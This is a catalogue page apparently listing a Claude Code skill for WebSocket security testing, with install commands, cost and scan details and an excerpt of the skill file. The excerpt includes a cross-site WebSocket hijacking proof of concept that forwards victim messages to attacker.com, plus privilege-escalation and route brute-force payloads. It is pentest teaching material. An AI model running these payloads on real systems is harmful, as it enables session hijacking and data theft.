websocket

websocket is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 51 tokens per session (1,086 once invoked), scanned A, a copy of api-websocket, Apache-2.0.

A security testing guide for WebSockets, which keep a two-way connection open so browsers and servers can exchange messages in real time. It covers weaknesses in the connection and in individual messages.

In plain words
What is it for?
Use it to identify WebSocket endpoints, test origin checks and per-message permissions, and inspect real-time message routes.
Why use it?
It helps find cross-site hijacking, missing authorization checks, unsafe message handling, downgrade issues, and flooding risks.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to identify WebSocket endpoints, test origin checks and per-message permissions, and inspect real-time message routes.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/websocket
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill websocket
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for websocket

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/websocket/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/websocket)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/websocket"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/websocket/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for websocket

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/websocket"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/websocket.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 51 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,086 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 97% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00051 $0.01086
Opus 5 $0.00026 $0.00543
Sonnet 5 $0.00010 $0.00217
Haiku 4.5 $0.00005 $0.00109

Measured 9d ago against content hash 20578239b851, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

websocket scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk -i \
Origin

This is a copy

97% identical to api-websocket — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/exploit/api/websocket/SKILL.md · 120 lines

How it starts

The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.

WebSocket Attack Surface

Detect

Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).

# Quick handshake test
curl -sk -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://target" \
  https://target/ws
# 101 = upgraded

Top 5 bug classes

1. Cross-Site WebSocket Hijacking (CSWSH)

Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:

<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen   = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>

Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.

2. Missing per-message authorization

Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:

wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}     # ⚠ admin op succeeds

3. Message-type confusion

Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:

{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}        // Unicode-normalize bypass

4. WS → wss downgrade

If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.

5. Hidden RPC routes

WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:

wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.

Read the full file on GitHub · 120 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 120 lines · 51 tokens per session scan A 20578239b851

Subscribe to this mod's changes

websocket is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 51 tokens to every session and 1,086 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 97% identical to api-websocket, differing in 2 lines, and is treated as a copy.